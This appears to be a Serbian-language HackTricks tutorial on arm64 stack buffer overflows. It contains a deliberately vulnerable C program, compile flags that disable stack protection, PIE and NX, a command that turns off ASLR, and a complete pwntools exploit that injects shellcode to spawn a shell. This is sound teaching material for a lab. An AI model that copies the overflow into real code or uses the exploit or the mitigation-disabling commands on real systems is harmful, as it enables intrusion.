Stack Shellcode - arm64

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pronađite uvod u arm64 u:

pageIntroduction to ARM64v8

Kod

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompajlirajte bez pie-a, canary-ja i nx-a:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## Bez ASLR-a & Bez canary-ja - Preplavljivanje steka

Da biste zaustavili ASLR, izvršite:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Da biste dobili pomak bof-a pogledajte ovaj link.

Eksploatacija:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Jedina "komplikovana" stvar koju treba pronaći ovde je adresa na steku za poziv. U mom slučaju, generisao sam eksploit sa adresom pronađenom korišćenjem gdb-a, ali kada sam ga iskoristio, nije radio (jer se adresa steka malo promenila).

Otvorio sam generisani core fajl (gdb ./bog ./core) i proverio pravu adresu početka shell koda.

Last updated